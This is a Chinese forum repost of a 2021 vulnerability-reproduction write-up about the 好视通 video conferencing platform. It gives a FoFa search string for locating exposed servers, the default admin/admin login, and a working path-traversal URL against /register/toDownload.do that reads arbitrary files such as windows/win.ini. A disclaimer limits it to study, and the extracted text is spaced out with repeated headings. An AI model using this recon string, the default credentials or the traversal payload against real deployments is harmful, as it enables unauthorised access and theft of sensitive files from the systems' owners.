搜索

[7558] 2021-04-04_漏洞复现（通用0day）好视通视频会议平台存在任意文件下载漏洞

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2021-04-04_漏洞复现（通用0day）好视通视频会议平台存在任意文件下载漏洞 漏 洞 复 现   |   （ 通 用 0 d a y ） 好 视 通 视 频 会 议 平 台 存 在 任 意 文 件 下 载 漏 洞 原 创   山 西 哥 谭 小 丑   F 1 2 s e c   2 0 2 1 - 0 4 - 0 4 收 录 于 话 题   # 漏 洞 复 现   , 1 1 个 前 言 前 言 申 明 申 明 ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ 切 勿 用 于 其 它 用 途 ！ P a r t . 1   漏 洞 背 景 漏 洞 背 景 好 视 通 云 会 议 是 一 款 高 效 、 便 捷 、 低 成 本 的 网 络 视 频 会 议 产 品 ， 通 过 电 脑 或 手 机 登 录 好 视 通 云 平 台 ， 便 可 快 速 地 与 全 球 各 地 团 队 进 行 实 时 音 视 频 沟 通 ， 并 可 同 步 分 享 各 类 数 据 文 档 。 P a r t . 2   漏 洞 描 述 漏 洞 描 述 好 视 通 视 频 会 议 平 台 存 在 弱 口 令 及 前 台 任 意 文 件 下 载 漏 洞 。 可 获 取 任 意 敏 感 文 件 信 息 。 P a r t . 3   漏 洞 影 响 范 围 漏 洞 影 响 范 围 C o p y r i g h t   ©   2 0 1 3 - 2 0 1 9
C o p y r i g h t   ©     2 0 1 3 - 2 0 1 8 P a r t . 4   F o F a 语 法 语 法 " 深 圳 银 澎 云 计 算 有 限 公 司 "
P a r t . 5   漏 洞 复 现 漏 洞 复 现 该 系 统 存 在 一 个 默 认 的 管 理 员 口 令 后 台 界 面 ： 后 台 界 面 ： 前 台 任 意 文 件 下 载 前 台 任 意 文 件 下 载 漏 洞 漏 洞 u r l : 漏 洞 复 现 ： 漏 洞 复 现 ： a d m i n   /   a d m i n / r e g i s t e r / t o D o w n l o a d . d o ? f i l e N a m e = 敏 感 文 件 路 径 h t t p s : / / x x x x x x / r e g i s t e r / t o D o w n l o a d . d o ? f i l e N a m e = . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / w i n d o w s / w i n . i n i
复 现 成 功 ！ 复 现 成 功 ！ 如 果 对 你 有 帮 助 的 话 如 果 对 你 有 帮 助 的 话 那 就 长 按 二 维 码 ， 关 注 我 们 吧 ！ 那 就 长 按 二 维 码 ， 关 注 我 们 吧 ！     实 战   |   记 一 次 利 用 m s s q l 上 线     漏 洞 复 现   |   某 系 统 通 用 （ 0 d a y ）       漏 洞 复 现   |   （ 通 用 0 d a y ） 某 实 践 教 学 平 台 存 在 通 用 S Q L i 漏 洞       漏 洞 复 现   |   M i c r o s o f t   W i n d o w s 1 0   本 地 提 权 漏 权   C V E - ​ 2 0 2 1 ​ - 1 7 3 2       漏 洞 复 现   |   （ 通 用 0 d a y ） 金 和 C 6 协 同 O A 管 理 平 台 后 台 存 在 水 平 越 权 漏 洞 右 下 角 求 赞 求 好 看 ， 喵 ~
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理